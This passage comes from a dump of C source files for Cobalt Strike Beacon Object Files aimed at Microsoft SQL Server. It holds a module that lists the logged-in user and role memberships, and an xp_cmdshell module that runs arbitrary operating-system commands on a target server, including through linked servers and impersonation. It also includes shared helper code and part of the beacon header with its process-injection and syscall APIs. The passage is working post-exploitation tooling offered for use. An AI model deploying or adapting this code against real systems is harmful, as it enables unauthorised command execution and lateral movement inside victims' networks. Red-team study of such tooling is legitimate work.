Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT SYSTEM_USER;\";\n  if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  sysUser = GetSingleResult(stmt, FALSE);\n  internal_printf(\"[*] Logged in as %s\\n\", sysUser);\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT USER_NAME();\";\n  if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  mappedUser = GetSingleResult(stmt, FALSE);\n  internal_printf(\"[*] Mapped to the user %s\\n\", mappedUser);\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  internal_printf(\"[*] Gathering roles...\\n\");\n  query = (SQLCHAR *)\"SELECT [name] from sysusers where issqlrole = 1;\";\n  if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  dbRoles = GetMultipleResults(stmt, FALSE);\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  for (int i = 0; dbRoles[i] != NULL; i++) {\n    char *role = dbRoles[i];\n    char *query = (char *)intAlloc(MSVCRT$strlen(role) + 32);\n    MSVCRT$sprintf(query, \"SELECT IS_MEMBER('%s');\", role);\n    if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n      goto END;\n    }\n\n    char *result = GetSingleResult(stmt, FALSE);\n    PrintMemberStatus(role, result);\n\n    intFree(query);\n    intFree(result);\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\n  for (int i = 0; i < sizeof(roles) / sizeof(roles[0]); i++) {\n    char *role = roles[i];\n    char *query = (char *)intAlloc(MSVCRT$strlen(role) + 32);\n    MSVCRT$sprintf(query, \"SELECT IS_SRVROLEMEMBER('%s');\", role);\n    if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n      goto END;\n    }\n\n    char *result = GetSingleResult(stmt, FALSE);\n    PrintMemberStatus(role, result);\n\n    intFree(query);\n    intFree(result);\n\n    ret = ODBC32$SQLCloseCursor(stmt);\n    if (!SQL_SUCCEEDED(ret)) {\n      internal_printf(\"[!] Failed to close cursor\\n\");\n      goto END;\n    }\n  }\n\nEND:\n  if (sysUser != NULL)\n    intFree(sysUser);\n  if (mappedUser != NULL)\n    intFree(mappedUser);\n  if (dbRoles != NULL)\n    FreeResults(dbRoles);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  if (user != NULL) {\n    internal_printf(\"[*] SQL Auth user: %s\\n\", user);\n  } else {\n    internal_printf(\"[*] SQL Auth user: (not provided - using Windows auth)\\n\");\n  }\n\n  Whoami(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/xpcmd/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_modules.c\"\n\nvoid ExecuteXpCmd(char *server, char *database, char *link, char *impersonate, char *command, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  char *query = NULL;\n  size_t totalSize;\n  SQLRETURN ret;\n  unsigned int timeout = 10;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to allocate statement handle\\n\");\n    goto END;\n  }\n\n  if (IsModuleEnabled(stmt, \"xp_cmdshell\", link, impersonate)) {\n    internal_printf(\"[*] xp_cmdshell is enabled\\n\");\n  } else {\n    internal_printf(\"[!] xp_cmdshell is not enabled\\n\");\n    goto END;\n  }\n\n  ret = ODBC32$SQLCloseCursor(stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to close cursor\\n\");\n    goto END;\n  }\n\n  if (link != NULL) {\n    if (IsRpcEnabled(stmt, link)) {\n      internal_printf(\"[*] RPC out is enabled\\n\");\n    } else {\n      internal_printf(\"[!] RPC out is not enabled\\n\");\n      goto END;\n    }\n\n    ODBC32$SQLCloseCursor(stmt);\n  }\n\n  ret = ODBC32$SQLSetStmtAttr(stmt, SQL_ATTR_QUERY_TIMEOUT, (SQLPOINTER)(uintptr_t)timeout, 0);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Failed to set query timeout\\n\");\n    goto END;\n  }\n\n  internal_printf(\"[*] Executing system command...\\n\\n\");\n\n  if (link == NULL) {\n    char *prefix = \"EXEC xp_cmdshell '\";\n    char *suffix = \"';\";\n\n    totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    printoutput(FALSE);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n      goto END;\n    }\n\n    PrintQueryResults(stmt, TRUE);\n  } else {\n    char *prefix = \"SELECT 1; EXEC master..xp_cmdshell '\";\n    char *suffix = \"';\";\n\n    totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(command) + MSVCRT$strlen(suffix) + 1;\n    query = (char *)intAlloc(totalSize * sizeof(char));\n\n    MSVCRT$strcpy(query, prefix);\n    MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1);\n\n    printoutput(FALSE);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, TRUE)) {\n      goto END;\n    }\n\n    internal_printf(\"[*] Command executed (Output not returned for linked server cmd execution)\\n\");\n  }\n\nEND:\n  if (query != NULL)\n    intFree(query);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *command;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  command = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  ExecuteXpCmd(server, database, link, impersonate, command, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/base.c",
    "content": "#include \"bofdefs.h\"\n#include \"beacon.h\"\n#include \"time.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n#ifdef BOF\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#else\n#define internal_printf printf\n#define printoutput \n#define bofstart \n#endif\n\n// Changes to address issue #65.\n// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable.\n// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one\n// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer.\n// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself\n// If you must then free it after bofstop is called\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n\nvoid InitRandomSeed()\n{\n    MSVCRT$srand((unsigned int)MSVCRT$time(NULL));\n}\n\n//\n// Helper func to generate random strings for prodecure names, etc\n//\nchar* GenerateRandomString(int length)\n{\n    char* result = (char*)intAlloc(length + 1);\n    for (int i = 0; i < length; i++)\n    {\n        result[i] = (char)(MSVCRT$rand() % 26 + 97);\n    }\n    result[length] = '\\0';\n    return result;\n}"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/common/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL\n *               Updated the BEACON_INFO data structure to add new parameters\n *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10\n *    4/25/2024: Added APIs to call Beacon's system call implementation\n *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)\n *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11\n *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12\n *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12\n *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12\n */\n#ifndef _BEACON_H_\n#define _BEACON_H_\n#include <windows.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_CUSTOM      0x1000\n#define CALLBACK_CUSTOM_LAST 0x13ff\n\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);\nDECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/* Information the user can set in the USER_DATA via a UDRL */\ntypedef enum {\n\tPURPOSE_EMPTY,\n\tPURPOSE_GENERIC_BUFFER,\n\tPURPOSE_BEACON_MEMORY,\n\tPURPOSE_SLEEPMASK_MEMORY,\n\tPURPOSE_BOF_MEMORY,\n\tPURPOSE_UDC2_MEMORY,\n\tPURPOSE_USER_DEFINED_MEMORY = 1000\n} ALLOCATED_MEMORY_PURPOSE;\n\ntypedef enum {\n\tLABEL_EMPTY,\n\tLABEL_BUFFER,\n\tLABEL_PEHEADER,\n\tLABEL_TEXT,\n\tLABEL_RDATA,\n\tLABEL_DATA,\n\tLABEL_PDATA,\n\tLABEL_RELOC,\n\tLABEL_USER_DEFINED = 1000\n} ALLOCATED_MEMORY_LABEL;\n\ntypedef enum {\n\tMETHOD_UNKNOWN,\n\tMETHOD_VIRTUALALLOC,\n\tMETHOD_HEAPALLOC,\n\tMETHOD_MODULESTOMP,\n\tMETHOD_NTMAPVIEW,\n\tMETHOD_USER_DEFINED = 1000,\n} ALLOCATED_MEMORY_ALLOCATION_METHOD;\n\n/**\n* This structure allows the user to provide additional information\n* about the allocated heap for cleanup. It is mandatory to provide\n* the HeapHandle but the DestroyHeap Boolean can be used to indicate\n* whether the clean up code should destroy the heap or simply free the pages.\n* This is useful in situations where a loader allocates memory in the\n* processes current heap.\n*/\ntypedef struct _HEAPALLOC_INFO {\n\tPVOID HeapHandle;\n\tBOOL  DestroyHeap;\n} HEAPALLOC_INFO, *PHEAPALLOC_INFO;\n\ntypedef struct _MODULESTOMP_INFO {\n\tHMODULE ModuleHandle;\n} MODULESTOMP_INFO, *PMODULESTOMP_INFO;\n\ntypedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {\n\tHEAPALLOC_INFO HeapAllocInfo;\n\tMODULESTOMP_INFO ModuleStompInfo;\n\tPVOID Custom;\n} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {\n\tBOOL Cleanup;\n\tALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;\n\tALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;\n} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;\n\ntypedef struct _ALLOCATED_MEMORY_SECTION {\n\tALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development\n\tPVOID  BaseAddress;           // Pointer to virtual address of section\n\tSIZE_T VirtualSize;           // Virtual size of the section\n\tDWORD  CurrentProtect;        // Current memory protection of the section\n\tDWORD  PreviousProtect;       // The previous memory protection of the section (prior to masking/unmasking)\n\tBOOL   MaskSection;           // A boolean to indicate whether the section should be masked\n\tDWORD  DripLoadPageSize;      // The page size used when committing memory during drip-loading\n} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;\n\ntypedef struct _ALLOCATED_MEMORY_REGION {\n\tALLOCATED_MEMORY_PURPOSE Purpose;      // A label to indicate the purpose of the allocated memory\n\tPVOID  AllocationBase;                 // The base address of the allocated memory block\n\tSIZE_T RegionSize;                     // The size of the allocated memory block\n\tDWORD Type;                            // The type of memory allocated\n\tDWORD DripLoadAllocationGranularity;   // The allocation granularity used when reserving memory for drip-loading\n\tALLOCATED_MEMORY_SECTION Sections[8];  // An array of section information structures\n\tALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation\n} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;\n\ntypedef struct {\n\tALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];\n} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;\n\n/*\n *  version               - The version of the beacon dll was added for release 4.10\n *                          version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch\n *                          e.g. 0x040900 -> CS 4.9\n *                               0x041000 -> CS 4.10\n *\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n *\n *  Added in version 4.10\n *  allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA\n *                     via a UDRL.\n */\ntypedef struct {\n\tunsigned int version;\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n\n\tALLOCATED_MEMORY allocatedMemory;\n} BEACON_INFO, *PBEACON_INFO;\n\nDECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nDECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);\nDECLSPEC_IMPORT void * BeaconGetValue(const char * key);\nDECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nDECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);\nDECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);\nDECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nDECLSPEC_IMPORT char * BeaconGetCustomUserData();\n\n/* Beacon System call */\n/* Syscalls API */\ntypedef struct\n{\n\tPVOID fnAddr;\n\tPVOID jmpAddr;\n\tDWORD sysnum;\n} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;\n\ntypedef struct\n{\n\tSYSCALL_API_ENTRY ntAllocateVirtualMemory;\n\tSYSCALL_API_ENTRY ntProtectVirtualMemory;\n\tSYSCALL_API_ENTRY ntFreeVirtualMemory;\n\tSYSCALL_API_ENTRY ntGetContextThread;\n\tSYSCALL_API_ENTRY ntSetContextThread;\n\tSYSCALL_API_ENTRY ntResumeThread;\n\tSYSCALL_API_ENTRY ntCreateThreadEx;\n\tSYSCALL_API_ENTRY ntOpenProcess;\n\tSYSCALL_API_ENTRY ntOpenThread;\n\tSYSCALL_API_ENTRY ntClose;\n\tSYSCALL_API_ENTRY ntCreateSection;\n\tSYSCALL_API_ENTRY ntMapViewOfSection;\n\tSYSCALL_API_ENTRY ntUnmapViewOfSection;\n\tSYSCALL_API_ENTRY ntQueryVirtualMemory;\n\tSYSCALL_API_ENTRY ntDuplicateObject;\n\tSYSCALL_API_ENTRY ntReadVirtualMemory;\n\tSYSCALL_API_ENTRY ntWriteVirtualMemory;\n\tSYSCALL_API_ENTRY ntReadFile;\n\tSYSCALL_API_ENTRY ntWriteFile;\n\tSYSCALL_API_ENTRY ntCreateFile;\n\tSYSCALL_API_ENTRY ntQueueApcThread;\n\tSYSCALL_API_ENTRY ntCreateProcess;\n\tSYSCALL_API_ENTRY ntOpenProcessToken;\n\tSYSCALL_API_ENTRY ntTestAlert;\n\tSYSCALL_API_ENTRY ntSuspendProcess;\n\tSYSCALL_API_ENTRY ntResumeProcess;\n\tSYSCALL_API_ENTRY ntQuerySystemInformation;\n\tSYSCALL_API_ENTRY ntQueryDirectoryFile;\n\tSYSCALL_API_ENTRY ntSetInformationProcess;\n\tSYSCALL_API_ENTRY ntSetInformationThread;\n\tSYSCALL_API_ENTRY ntQueryInformationProcess;\n\tSYSCALL_API_ENTRY ntQueryInformationThread;\n\tSYSCALL_API_ENTRY ntOpenSection;\n\tSYSCALL_API_ENTRY ntAdjustPrivilegesToken;\n\tSYSCALL_API_ENTRY ntDeviceIoControlFile;\n\tSYSCALL_API_ENTRY ntWaitForMultipleObjects;\n} SYSCALL_API, *PSYSCALL_API;\n\n/* Additional Run Time Library (RTL) addresses used to support system calls.\n * If they are not set then system calls that require them will fall back\n * to the Standard Windows API.\n *\n * Required to support the following system calls:\n *    ntCreateFile\n */\ntypedef struct\n{\n\tPVOID rtlDosPathNameToNtPathNameUWithStatusAddr;\n\tPVOID rtlFreeHeapAddr;\n\tPVOID rtlGetProcessHeapAddr;\n} RTL_API, *PRTL_API;\n\n/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.\n * This allows 